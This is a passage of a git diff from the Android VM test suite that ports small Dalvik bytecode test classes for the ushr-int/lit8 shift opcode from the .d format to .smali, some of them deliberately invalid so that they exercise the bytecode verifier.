+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_1;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/16 v1, 15
+       ushr-int/lit8 v1, v1, 1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_10.d
deleted file mode 100644
index 66e89fa..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_10.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_10.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_10
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const-wide v0, 12345456788.0
-       ushr-int/lit8 v1, v0, 1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_10.smali
new file mode 100644
index 0000000..0f579a4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_10.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_10;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const-wide v0, 12345456788.0
+       ushr-int/lit8 v1, v0, 1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_11.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_11.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_11.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_11.smali
new file mode 100644
index 0000000..accff26
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_11.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_11;
+.super Ljava/lang/Object;
+.source "T_ushr_int_lit8_11.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()I
+    .registers 4
+
+    const-wide v0, 0x2dfd8b894L
+
+    ushr-int/lit8 v1, v0, 0x1
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_12.d
deleted file mode 100644
index 9925d72..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_12.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_12.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_12
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 2
-
-       ushr-int/lit8 v0, v1, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_12.smali
new file mode 100644
index 0000000..f6b6d93
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_12.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_12.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_12;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 2
+
+       ushr-int/lit8 v0, v1, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_13.d
deleted file mode 100644
index 431983f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_13.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_13.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_13
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 3
-
-       ushr-int/lit8 v1, v2, 1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_13.smali
new file mode 100644
index 0000000..3850f8b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_13.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_13.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_13;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 3
+
+       ushr-int/lit8 v1, v2, 1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_14.d
deleted file mode 100644
index 7bf0d26..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_14.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_14.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_14
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 3
-
-       ushr-int/lit8 v1, v3, 1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_14.smali
new file mode 100644
index 0000000..597ff1b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_14.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_14.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_14;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 3
+
+       ushr-int/lit8 v1, v3, 1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_2.d
deleted file mode 100644
index 2727421..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_2.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_2.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_2
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const/16 v1, 33
-       ushr-int/lit8 v1, v1, 2
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_2.smali
new file mode 100644
index 0000000..17ba7b8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_2.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_2;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/16 v1, 33
+       ushr-int/lit8 v1, v1, 2
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_3.d
deleted file mode 100644
index d51d0ad..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_3.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_3
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const/16 v1, -15
-       ushr-int/lit8 v1, v1, 1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_3.smali
new file mode 100644
index 0000000..71b1324
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_3;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/16 v1, -15
+       ushr-int/lit8 v1, v1, 1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_4.d
deleted file mode 100644
index c69a8cd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_4.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_4.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_4
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const/16 v1, 1
-       ushr-int/lit8 v1, v1, -1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_4.smali
new file mode 100644
index 0000000..0bb01de
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_4.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_4;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/16 v1, 1
+       ushr-int/lit8 v1, v1, -1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_5.d
deleted file mode 100644
index 9e75732..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_5.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_5
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const/16 v1, 33
-       ushr-int/lit8 v1, v1, 33
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_5.smali
new file mode 100644
index 0000000..e630286
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_5;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/16 v1, 33
+       ushr-int/lit8 v1, v1, 33
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_6.d
deleted file mode 100644
index 8387c15..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_6.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_6
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const/16 v1, 0
-       ushr-int/lit8 v1, v1, -1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_6.smali
new file mode 100644
index 0000000..762e8df
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_6;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/16 v1, 0
+       ushr-int/lit8 v1, v1, -1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_7.d
deleted file mode 100644
index 1a49829..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_7.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 2147483647
-       ushr-int/lit8 v1, v1, 1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_7.smali
new file mode 100644
index 0000000..369a384
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 2147483647
+       ushr-int/lit8 v1, v1, 1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_8.d
deleted file mode 100644
index 415d6d6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_8.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
